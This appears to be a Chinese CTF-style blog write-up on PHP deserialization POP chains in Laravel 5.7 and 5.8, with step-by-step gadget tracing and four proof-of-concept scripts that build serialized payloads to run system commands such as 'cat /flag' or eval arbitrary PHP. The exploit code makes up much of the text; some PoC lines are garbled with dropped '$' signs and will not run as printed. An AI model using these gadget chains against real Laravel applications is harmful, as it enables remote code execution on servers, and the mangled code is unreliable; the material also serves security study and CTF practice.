Laravel5.7.*
添加Controller
在app/Http/Controllers中新建TaskController.php
<?php
namespace App\Http\Controllers;
class TaskController
{
public function index(){
unserialize($_GET['code']);
return "unser";
}
}
POP链
反序列化漏洞的入口在PendingCommand.php
,攻击的思路就是通过反序列化触发PendingCommand
类的__destruct
析构函数,进而调用其run
方法实现代码执行。
而且我们知道command
和parameters
参数都是我们能控制的,那么我们只要能让run方法正常跑完就行了。

跟进一下mockConsoleOutput
,然后先看这个

然后我们还是秉持让程序正常跑完的原则,继续跟进createABufferedOutputMock

注意这里的$this->test->expectedOutput
应该可以返回一个数组。我们考虑用__get()
来绕过
Illuminate\Auth\GenericUser
里有个诱人的__get()
方法

其中$this->attributes
是可以控制的。所以我们可以正常绕过createABufferedOutputMock
函数
后面的$this->test->expectedQuestions
也是同样的套路
接下来我们考虑这个函数

文档中说app
是一个\Illuminate\Foundation\Application
里的类,而且它有bind方法。我们可以先直接让app
为该类的实例化
接下来我们就进入这个try

这里的Kernel::class
指的是完全限定名称,返回的是一个类的完整的带上命名空间的类名,在laravel这里是Illuminate\Contracts\Console\Kernel
。
并且$this->app[Kernel::class]
返回的类中的call
方法可以实现命令执行
而Container
类里的call
方法就挺诱人的
只是这里的app
也是一个类。把类当作数组访问要用ArrayAccess
接口,而Container
恰好继承了这个接口。
在这里把类当成数组并从中取值会用到offsetget
这个接口



有个简单的想法,就是用this->instances[$abstract]
返回一个Application
类
再跟进一下getAlias

我们只要让$this->aliases
为空就可以返回原来的$abstract
后面的这个

我们要想办法让它为false
,只要$this->getContextualConcrete($abstract)
为null
即可

这也是很简单的,什么都不做就可以
于是我们就得到了一个Application类

我们最后再跟进到call
里面去看看


第一个if
显然不会通过

这个嘛。。大概就是把dependencies
和parameters
合并一下,而dependencies
默认为空
所以就成功RCE了!
poc:
<?php
namespace Illuminate\Foundation{
class Application{
protected $instances = [];
public function __construct($tmp=null){
this->instances['Illuminate\Contracts\Console\Kernel'] =tmp;
}
}
}
namespace Illuminate\Auth{
class GenericUser{
protected $attributes;
public function __construct()
{
$this->attributes["expectedQuestions"]=Array('a'=>'b');
$this->attributes["expectedOutput"]=Array('a'=>'b');
}
}
}
namespace Illuminate\Foundation\Testing{
use Illuminate\Auth\GenericUser;
use Illuminate\Foundation\Application;
class PendingCommand{
protected $command;
protected $parameters;
public $test;
protected $app;
public function __construct(){
$this->command = "system";
$this->parameters[] = "cat /flag";
$this->test = new GenericUser();
$tmp = new Application();
this->app = new Application(tmp);
}
}
}
namespace {
use Illuminate\Foundation\Testing\PendingCommand;
$a = serialize(new PendingCommand());
echo $a;
echo "\n";
echo urlencode($a);
echo "\n";
echo base64_encode($a);
}
参考资料
https://laworigin.github.io/2019/02/21/laravelv5-7反序列化rce/
https://blog.csdn.net/rfrder/article/details/113826483
Laravel5.8.*
添加Controller
先在routes/web.php
文件中添加一条路由:
Route::get("/unserialize","\App\Http\Controllers\unController@unserialize");
再在app/Http/Controllers
下添加控制器:
<?php
namespace App\Http\Controllers;
class unController extends Controller
{
public function unserialize()
{
if(isset($_GET['c'])){
code=_GET['c'];
unserialize($code);
}
else{
highlight_file(__FILE__);
}
return "your controller is successful";
}
}
POP链1
入口在Illuminate\Broadcasting\PendingBroadcast
跟踪其__destruct()
方法

发现她调用了dispatch
函数,然后我们去找一个合适的dispatch
函数
可以发现Illuminate\Bus\Dispatcher
中有一个诱人的函数

跟进一下commandShouldBeQueued

发现command
必须是ShouldQueue
的一个实例(或者其子类的实例)
在Illuminate\Broadcasting\BroadcastEvent
中继承了该接口

继续跟进,我们就发现我们已经可以实现命令执行了
后面就算有报错也可以不用管
poc
<?php
namespace Illuminate\Broadcasting{
class BroadcastEvent{
public $connection;
public function __construct(){
$this->connection="cat /flag";
}
}
}
namespace Illuminate\Bus{
class Dispatcher{
protected $queueResolver;
public function __construct()
{
$this->queueResolver = "system";
}
}
}
namespace Illuminate\Broadcasting{
use Illuminate\Bus\Dispatcher;
use Illuminate\Broadcasting\BroadcastEvent;
class PendingBroadcast{
protected $events;
protected $event;
public function __construct(){
$this->events = new Dispatcher();
$this->event = new BroadcastEvent();
}
}
}
namespace {
use Illuminate\Broadcasting\PendingBroadcast;
$seri = serialize(new PendingBroadcast());
echo $seri;
echo "\n";
echo urlencode($seri);
}
POP链2

注意这里的call_user_func
,其实也可以调用任意类的方法
$a = new A();
call_user_func("call_user_func",array($a,"a"));
或者
$a = new A();
call_user_func(array($a,"a"),"test");
我们来找找有没有可以利用的类方法,比如含有eval
的
PHPUnit\Framework\MockObject\Generator
有一个诱人的eval

可惜她是private
,不能利用
我们可以再找一个

其中getCode
和getClassName
可控,只是我们还要找一个有getName()
的类
于是又可以RCE
了
POC:
<?php
namespace PhpParser\Node\Scalar\MagicConst{
class Dir{
}
}
namespace Mockery\Loader{
class EvalLoader{
}
}
namespace Mockery\Generator{
use PhpParser\Node\Scalar\MagicConst\Dir;
class MockDefinition{
protected $config;
protected $code;
public function __construct(){
$this->code = "<?php phpinfo();exit();?>";
$this->config = new Dir();
}
}
}
namespace Illuminate\Bus{
use Mockery\Loader\EvalLoader;
class Dispatcher{
protected $queueResolver;
public function __construct()
{
$this->queueResolver = [new EvalLoader(),'load'];
}
}
}
namespace Illuminate\Broadcasting{
use Mockery\Generator\MockDefinition;
class BroadcastEvent{
public $connection;
public function __construct(){
$this->connection=new MockDefinition();
}
}
}
namespace Illuminate\Broadcasting{
use Illuminate\Bus\Dispatcher;
use Illuminate\Broadcasting\BroadcastEvent;
class PendingBroadcast{
protected $events;
protected $event;
public function __construct(){
$this->events = new Dispatcher();
$this->event = new BroadcastEvent();
}
}
}
namespace {
use Illuminate\Broadcasting\PendingBroadcast;
$seri = serialize(new PendingBroadcast());
echo $seri;
echo "\n";
echo urlencode($seri);
}
而且可以通过exit()
来避免后面报错
POP链3
这次的入口在Symfony\Component\Cache\Adapter\TagAwareAdapter
里,要先安装Symphony
插件,
并把里面的__wakeup()
注释掉
先找到__destruct()
然后一直跟进


一开始想让$f=call_user_func
,$items=[new EvalLoader(),'load']
然后利用这个

$this->pool->saveDeferred($item)
就随便找个__call
函数应付过去
结果我忘了EvalLoader::load
是要传参的,所以Fail了
我们应该去找一个可以利用saveDeferred
方法的类
比如ProxyAdapter
类

跟进到doSave
中
我们的利用点是这条命令(this->setInnerItem)(innerItem, $item);
这个函数要有两个参数,而且第二个参数几乎没用
考虑用system
函数

可以注意到上面有条这个命令,这里的\0*\0innerItem
指的就是一个protected
类

然后就可以RCE了
POC:
<?php namespace Symfony\Component\Cache{ final class CacheItem{ protected innerItem; protectedpoolHash; public function __construct(){ this->innerItem = "ls"; this->poolHash = "Hello!"; } } } namespace Symfony\Component\Cache\Adapter{ class ProxyAdapter{ private setInnerItem; privatepoolHash; public function __construct(){ this->setInnerItem = "system"; this->poolHash = "Hello!"; } } } namespace Symfony\Component\Cache\Adapter{ use Symfony\Component\Cache\CacheItem; class TagAwareAdapter{ private pool; public function __construct(){ this->pool = new ProxyAdapter(); this->deferred = array(new CacheItem(),"a"); } } } namespace { use Symfony\Component\Cache\Adapter\TagAwareAdapter; a = new TagAwareAdapter(); echo serialize(a); echo "\n"; echo urlencode(serialize(a)); }
参考资料
https://nikoeurus.github.io/2019/12/16/laravel5.8反序列化/#POP链1
Comments | NOTHING